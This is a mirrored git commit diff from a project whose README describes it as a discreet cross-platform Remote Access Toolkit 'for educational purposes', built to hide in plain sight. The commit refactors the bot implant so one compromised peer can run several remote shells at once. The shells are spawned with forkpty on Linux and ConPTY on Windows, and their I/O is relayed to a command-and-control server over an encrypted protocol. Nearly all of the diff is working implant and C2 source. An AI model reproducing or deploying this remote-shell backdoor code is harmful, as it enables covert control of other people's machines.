mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-11-04 04:20:22 +00:00 
			
		
		
		
	Major shell packet refactoring
- can now open multiple shells per peer (change LAIKA_MAX_SHELLS) - more sanity checking for public keys (new peers with duplicate keys are killed - misc. refactoring, added cnc/cpeer.[ch]
This commit is contained in:
		@@ -5,7 +5,7 @@
 | 
			
		||||
    <a href="https://github.com/CPunch/Laika/blob/main/LICENSE.md"><img src="https://img.shields.io/github/license/CPunch/Laika" alt="License"></a>
 | 
			
		||||
</p>
 | 
			
		||||
 | 
			
		||||
[](https://asciinema.org/a/487686)
 | 
			
		||||
[](https://asciinema.org/a/492854)
 | 
			
		||||
 | 
			
		||||
Laika is a simple cross-platform Remote Access Toolkit stack for educational purposes. It allows encrypted communication across a custom binary protocol. The bot client supports both Windows & Linux environments, while the shell & CNC server specifically target Linux environments. Laika is meant to be small and discreet, Laika believes in hiding in plain sight.
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
@@ -12,11 +12,12 @@
 | 
			
		||||
struct sLaika_shell;
 | 
			
		||||
struct sLaika_bot {
 | 
			
		||||
    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
 | 
			
		||||
    struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
 | 
			
		||||
    struct sLaika_pollList pList;
 | 
			
		||||
    struct sLaika_taskService tService;
 | 
			
		||||
    struct sLaika_peer *peer;
 | 
			
		||||
    struct sLaika_shell *shell;
 | 
			
		||||
    struct sLaika_task *shellTask;
 | 
			
		||||
    int activeShells;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
struct sLaika_bot *laikaB_newBot(void);
 | 
			
		||||
 
 | 
			
		||||
@@ -8,9 +8,16 @@
 | 
			
		||||
struct sLaika_bot;
 | 
			
		||||
struct sLaika_shell;
 | 
			
		||||
 | 
			
		||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows);
 | 
			
		||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
 | 
			
		||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
 | 
			
		||||
 | 
			
		||||
/* raw platform-dependent shell allocation */
 | 
			
		||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
 | 
			
		||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
 | 
			
		||||
 | 
			
		||||
/* has to be a function since the struct is different depending on the platform */
 | 
			
		||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
 | 
			
		||||
 | 
			
		||||
/* handles reading & writing to shell pipes */
 | 
			
		||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
 | 
			
		||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
 | 
			
		||||
 
 | 
			
		||||
@@ -16,15 +16,17 @@
 | 
			
		||||
struct sLaika_shell {
 | 
			
		||||
    int pid;
 | 
			
		||||
    int fd;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {
 | 
			
		||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
 | 
			
		||||
    struct winsize ws;
 | 
			
		||||
    struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 | 
			
		||||
 | 
			
		||||
    ws.ws_col = cols;
 | 
			
		||||
    ws.ws_row = rows;
 | 
			
		||||
    shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
 | 
			
		||||
    shell->id = id;
 | 
			
		||||
 | 
			
		||||
    if (shell->pid == 0) {
 | 
			
		||||
        /* child process, clone & run shell */
 | 
			
		||||
@@ -38,38 +40,34 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
 | 
			
		||||
        LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* start shell task */
 | 
			
		||||
    bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
 | 
			
		||||
 | 
			
		||||
    return shell;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    /* kill the shell */
 | 
			
		||||
    kill(shell->pid, SIGTERM);
 | 
			
		||||
    close(shell->fd);
 | 
			
		||||
 | 
			
		||||
    /* tell cnc shell is closed */
 | 
			
		||||
    laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
    bot->shell = NULL;
 | 
			
		||||
    laikaM_free(shell);
 | 
			
		||||
 | 
			
		||||
    /* stop shell task */
 | 
			
		||||
    laikaT_delTask(&bot->tService, bot->shellTask);
 | 
			
		||||
    bot->shellTask = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    return shell->id;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Shell Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
 | 
			
		||||
    struct sLaika_peer *peer = bot->peer;
 | 
			
		||||
    struct sLaika_socket *sock = &peer->sock;
 | 
			
		||||
 | 
			
		||||
    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
 | 
			
		||||
    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    if (rd > 0) {
 | 
			
		||||
        /* we read some input! send to cnc */
 | 
			
		||||
        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
        laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
 | 
			
		||||
        laikaS_write(sock, readBuf, rd);
 | 
			
		||||
        laikaS_endVarPacket(peer);
 | 
			
		||||
    } else if (rd == -1) {
 | 
			
		||||
 
 | 
			
		||||
@@ -30,11 +30,11 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
 | 
			
		||||
    false),
 | 
			
		||||
    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
 | 
			
		||||
        laikaB_handleShellOpen,
 | 
			
		||||
        sizeof(uint16_t) + sizeof(uint16_t),
 | 
			
		||||
        sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t),
 | 
			
		||||
    false),
 | 
			
		||||
    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
 | 
			
		||||
        laikaB_handleShellClose,
 | 
			
		||||
        0,
 | 
			
		||||
        sizeof(uint32_t),
 | 
			
		||||
    false),
 | 
			
		||||
    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
 | 
			
		||||
        laikaB_handleShellData,
 | 
			
		||||
@@ -57,6 +57,7 @@ struct sLaika_bot *laikaB_newBot(void) {
 | 
			
		||||
    struct hostent *host;
 | 
			
		||||
    char *tempINBuf;
 | 
			
		||||
    size_t _unused;
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    laikaP_initPList(&bot->pList);
 | 
			
		||||
    bot->peer = laikaS_newPeer(
 | 
			
		||||
@@ -70,8 +71,12 @@ struct sLaika_bot *laikaB_newBot(void) {
 | 
			
		||||
    laikaT_initTaskService(&bot->tService);
 | 
			
		||||
    laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
 | 
			
		||||
 | 
			
		||||
    bot->shell = NULL;
 | 
			
		||||
    /* init shells */
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        bot->shells[i] = NULL;
 | 
			
		||||
    }
 | 
			
		||||
    bot->shellTask = NULL;
 | 
			
		||||
    bot->activeShells = 0;
 | 
			
		||||
 | 
			
		||||
    /* generate keypair */
 | 
			
		||||
    if (sodium_init() < 0) {
 | 
			
		||||
@@ -114,9 +119,11 @@ struct sLaika_bot *laikaB_newBot(void) {
 | 
			
		||||
void laikaB_freeBot(struct sLaika_bot *bot) {
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    /* clear shell */
 | 
			
		||||
    if (bot->shell)
 | 
			
		||||
        laikaB_freeShell(bot, bot->shell);
 | 
			
		||||
    /* clear shells */
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if (bot->shells[i])
 | 
			
		||||
            laikaB_freeShell(bot, bot->shells[i]);
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    laikaP_cleanPList(&bot->pList);
 | 
			
		||||
    laikaS_freePeer(bot->peer);
 | 
			
		||||
 
 | 
			
		||||
@@ -7,53 +7,100 @@
 | 
			
		||||
#include "bot.h"
 | 
			
		||||
#include "shell.h"
 | 
			
		||||
 | 
			
		||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
 | 
			
		||||
    if (bot->activeShells++ > LAIKA_MAX_SHELLS)
 | 
			
		||||
        LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
 | 
			
		||||
 | 
			
		||||
    /* start shell task */
 | 
			
		||||
    if (!bot->shellTask)
 | 
			
		||||
        bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
 | 
			
		||||
 | 
			
		||||
    return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    uint32_t id = laikaB_getShellID(bot, shell);
 | 
			
		||||
 | 
			
		||||
    /* tell cnc shell is closed */
 | 
			
		||||
    laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
    laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
    laikaS_endOutPacket(bot->peer);
 | 
			
		||||
 | 
			
		||||
    laikaB_freeRAWShell(bot, shell);
 | 
			
		||||
 | 
			
		||||
    bot->shells[id] = NULL;
 | 
			
		||||
 | 
			
		||||
    if (--bot->activeShells == 0) {
 | 
			
		||||
        /* stop shell task */
 | 
			
		||||
        laikaT_delTask(&bot->tService, bot->shellTask);
 | 
			
		||||
        bot->shellTask = NULL;
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Packet Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
 | 
			
		||||
    struct sLaika_shell *shell;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
    uint16_t cols, rows;
 | 
			
		||||
 | 
			
		||||
    /* check if shell is already open */
 | 
			
		||||
    if (bot->shell)
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
 | 
			
		||||
 | 
			
		||||
    laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
    laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
 | 
			
		||||
    laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
 | 
			
		||||
 | 
			
		||||
    /* check if shell is already open */
 | 
			
		||||
    if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
 | 
			
		||||
 | 
			
		||||
    /* open shell & if we failed, tell cnc */
 | 
			
		||||
    if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL)
 | 
			
		||||
        laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
    if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
 | 
			
		||||
        laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
        laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
        laikaS_endOutPacket(bot->peer);
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
 | 
			
		||||
    struct sLaika_shell *shell;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
 | 
			
		||||
    laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    /* check if shell is not running */
 | 
			
		||||
    if (bot->shell == NULL)
 | 
			
		||||
    if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
 | 
			
		||||
 | 
			
		||||
    /* close shell */
 | 
			
		||||
    laikaB_freeShell(bot, bot->shell);
 | 
			
		||||
    laikaB_freeShell(bot, shell);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
 | 
			
		||||
    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
 | 
			
		||||
    struct sLaika_shell *shell = bot->shell;
 | 
			
		||||
 | 
			
		||||
    /* sanity check shell */
 | 
			
		||||
    if (bot->shell == NULL)
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
 | 
			
		||||
    struct sLaika_shell *shell;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
 | 
			
		||||
    /* read data buf */
 | 
			
		||||
    laikaS_read(&peer->sock, buf, sz);
 | 
			
		||||
    laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
 | 
			
		||||
    laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
 | 
			
		||||
 | 
			
		||||
    /* sanity check shell */
 | 
			
		||||
    if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
 | 
			
		||||
        LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
 | 
			
		||||
 | 
			
		||||
    /* write to shell */
 | 
			
		||||
    laikaB_writeShell(bot, shell, buf, sz);
 | 
			
		||||
    laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
 | 
			
		||||
    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
 | 
			
		||||
    struct sLaika_shell *shell;
 | 
			
		||||
    int i;
 | 
			
		||||
 | 
			
		||||
    laikaB_readShell(bot, bot->shell);
 | 
			
		||||
    for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
 | 
			
		||||
        if ((shell = bot->shells[i]))
 | 
			
		||||
            laikaB_readShell(bot, shell); 
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
@@ -13,8 +13,94 @@ struct sLaika_shell {
 | 
			
		||||
    PROCESS_INFORMATION procInfo;
 | 
			
		||||
    STARTUPINFOEX startupInfo;
 | 
			
		||||
    HPCON pseudoCon;
 | 
			
		||||
    uint32_t id;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
 | 
			
		||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
 | 
			
		||||
 | 
			
		||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
 | 
			
		||||
    TCHAR szComspec[MAX_PATH];
 | 
			
		||||
    struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 | 
			
		||||
    HRESULT hr;
 | 
			
		||||
 | 
			
		||||
    ZeroMemory(shell, sizeof(struct sLaika_shell));
 | 
			
		||||
    shell->id = id;
 | 
			
		||||
 | 
			
		||||
    /* create pty */
 | 
			
		||||
    hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* get user's shell path */
 | 
			
		||||
    if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) {
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* create process */
 | 
			
		||||
    hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* launch cmd shell */
 | 
			
		||||
    hr = CreateProcess(
 | 
			
		||||
        NULL,                           /* No module name - use Command Line */
 | 
			
		||||
        szComspec,                      /* Command Line */
 | 
			
		||||
        NULL,                           /* Process handle not inheritable */
 | 
			
		||||
        NULL,                           /* Thread handle not inheritable */
 | 
			
		||||
        FALSE,                          /* Inherit handles */
 | 
			
		||||
        EXTENDED_STARTUPINFO_PRESENT,   /* Creation flags */
 | 
			
		||||
        NULL,                           /* Use parent's environment block */
 | 
			
		||||
        NULL,                           /* Use parent's starting directory */
 | 
			
		||||
        &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
 | 
			
		||||
        &shell->procInfo)               /* Pointer to PROCESS_INFORMATION */
 | 
			
		||||
        ? S_OK : HRESULT_FROM_WIN32(GetLastError());
 | 
			
		||||
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
 | 
			
		||||
        laikaM_free(shell->startupInfo.lpAttributeList);
 | 
			
		||||
        
 | 
			
		||||
        ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    return shell;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    /* kill process (it's ok if it fails) */
 | 
			
		||||
    TerminateProcess(shell->procInfo.hProcess, 0);
 | 
			
		||||
 | 
			
		||||
    /* cleanup process - info & thread */
 | 
			
		||||
    CloseHandle(shell->procInfo.hThread);
 | 
			
		||||
    CloseHandle(shell->procInfo.hProcess);
 | 
			
		||||
 | 
			
		||||
    /* Cleanup attribute list */
 | 
			
		||||
    DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
 | 
			
		||||
    laikaM_free(shell->startupInfo.lpAttributeList);
 | 
			
		||||
 | 
			
		||||
    /* close pseudo console */
 | 
			
		||||
    ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
    /* free shell struct */
 | 
			
		||||
    laikaM_free(shell);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    return shell->id;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
/* ============================================[[ Shell Handlers ]]============================================= */
 | 
			
		||||
 | 
			
		||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
 | 
			
		||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
 | 
			
		||||
    COORD consoleSize = (COORD){.X = cols, .Y = rows};
 | 
			
		||||
@@ -77,103 +163,17 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
 | 
			
		||||
    return hr;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
 | 
			
		||||
    TCHAR szComspec[MAX_PATH];
 | 
			
		||||
    struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 | 
			
		||||
    HRESULT hr;
 | 
			
		||||
 | 
			
		||||
    ZeroMemory(shell, sizeof(struct sLaika_shell));
 | 
			
		||||
 | 
			
		||||
    /* create pty */
 | 
			
		||||
    hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* get user's shell path */
 | 
			
		||||
    if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) {
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* create process */
 | 
			
		||||
    hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* launch cmd shell */
 | 
			
		||||
    hr = CreateProcess(
 | 
			
		||||
        NULL,                           /* No module name - use Command Line */
 | 
			
		||||
        szComspec,                      /* Command Line */
 | 
			
		||||
        NULL,                           /* Process handle not inheritable */
 | 
			
		||||
        NULL,                           /* Thread handle not inheritable */
 | 
			
		||||
        FALSE,                          /* Inherit handles */
 | 
			
		||||
        EXTENDED_STARTUPINFO_PRESENT,   /* Creation flags */
 | 
			
		||||
        NULL,                           /* Use parent's environment block */
 | 
			
		||||
        NULL,                           /* Use parent's starting directory */
 | 
			
		||||
        &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
 | 
			
		||||
        &shell->procInfo)               /* Pointer to PROCESS_INFORMATION */
 | 
			
		||||
        ? S_OK : HRESULT_FROM_WIN32(GetLastError());
 | 
			
		||||
 | 
			
		||||
    if (hr != S_OK) {
 | 
			
		||||
        DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
 | 
			
		||||
        laikaM_free(shell->startupInfo.lpAttributeList);
 | 
			
		||||
        
 | 
			
		||||
        ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
        laikaM_free(shell);
 | 
			
		||||
        return NULL;
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    /* start shell task */
 | 
			
		||||
    bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
 | 
			
		||||
 | 
			
		||||
    return shell;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    /* kill process (it's ok if it fails) */
 | 
			
		||||
    TerminateProcess(shell->procInfo.hProcess, 0);
 | 
			
		||||
 | 
			
		||||
    /* cleanup process - info & thread */
 | 
			
		||||
    CloseHandle(shell->procInfo.hThread);
 | 
			
		||||
    CloseHandle(shell->procInfo.hProcess);
 | 
			
		||||
 | 
			
		||||
    /* Cleanup attribute list */
 | 
			
		||||
    DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
 | 
			
		||||
    laikaM_free(shell->startupInfo.lpAttributeList);
 | 
			
		||||
 | 
			
		||||
    /* close pseudo console */
 | 
			
		||||
    ClosePseudoConsole(shell->pseudoCon);
 | 
			
		||||
 | 
			
		||||
    /* tell cnc shell is closed */
 | 
			
		||||
    laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
 | 
			
		||||
 | 
			
		||||
    /* free shell struct */
 | 
			
		||||
    laikaM_free(shell);
 | 
			
		||||
    bot->shell = NULL;
 | 
			
		||||
 | 
			
		||||
    /* stop shell task */
 | 
			
		||||
    laikaT_delTask(&bot->tService, bot->shellTask);
 | 
			
		||||
    bot->shellTask = NULL;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
 | 
			
		||||
    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
 | 
			
		||||
    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
 | 
			
		||||
    struct sLaika_peer* peer = bot->peer;
 | 
			
		||||
    struct sLaika_socket* sock = &peer->sock;
 | 
			
		||||
    DWORD rd;
 | 
			
		||||
    bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH, &rd, NULL);
 | 
			
		||||
    bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
 | 
			
		||||
 | 
			
		||||
    if (readSucc) {
 | 
			
		||||
        /* we read some input! send to cnc */
 | 
			
		||||
        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
 | 
			
		||||
        laikaS_writeInt(sock, &shell->id, sizeof(uint32_t));
 | 
			
		||||
        laikaS_write(sock, readBuf, rd);
 | 
			
		||||
        laikaS_endVarPacket(peer);
 | 
			
		||||
    } else {
 | 
			
		||||
 
 | 
			
		||||
@@ -14,25 +14,6 @@
 | 
			
		||||
 | 
			
		||||
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
 | 
			
		||||
 | 
			
		||||
struct sLaika_peerInfo {
 | 
			
		||||
    struct sLaika_cnc *cnc;
 | 
			
		||||
    long lastPing;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
#define BASE_PEERINFO struct sLaika_peerInfo info;
 | 
			
		||||
 | 
			
		||||
struct sLaika_botInfo {
 | 
			
		||||
    BASE_PEERINFO
 | 
			
		||||
    struct sLaika_peer *shellAuth; /* currently connected shell */
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
struct sLaika_authInfo {
 | 
			
		||||
    BASE_PEERINFO
 | 
			
		||||
    struct sLaika_peer *shellBot; /* currently connected shell */
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
#undef BASE_PEERINFO
 | 
			
		||||
 | 
			
		||||
struct sLaika_cnc {
 | 
			
		||||
    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
 | 
			
		||||
    struct sLaika_socket sock;
 | 
			
		||||
 
 | 
			
		||||
@@ -7,8 +7,7 @@
 | 
			
		||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
 | 
			
		||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
 | 
			
		||||
 | 
			
		||||
void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo);
 | 
			
		||||
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo);
 | 
			
		||||
void laikaC_closeAuthShell(struct sLaika_peer *auth);
 | 
			
		||||
 | 
			
		||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										45
									
								
								cnc/include/cpeer.h
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										45
									
								
								cnc/include/cpeer.h
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,45 @@
 | 
			
		||||
#ifndef LAIKA_CNC_PEER_H
 | 
			
		||||
#define LAIKA_CNC_PEER_H
 | 
			
		||||
 | 
			
		||||
#include "laika.h"
 | 
			
		||||
#include "lpacket.h"
 | 
			
		||||
#include "lsocket.h"
 | 
			
		||||
#include "lpolllist.h"
 | 
			
		||||
#include "lpeer.h"
 | 
			
		||||
 | 
			
		||||
struct sLaika_peerInfo {
 | 
			
		||||
    struct sLaika_cnc *cnc;
 | 
			
		||||
    long lastPing;
 | 
			
		||||
    bool completeHandshake;
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
#define BASE_PEERINFO struct sLaika_peerInfo info;
 | 
			
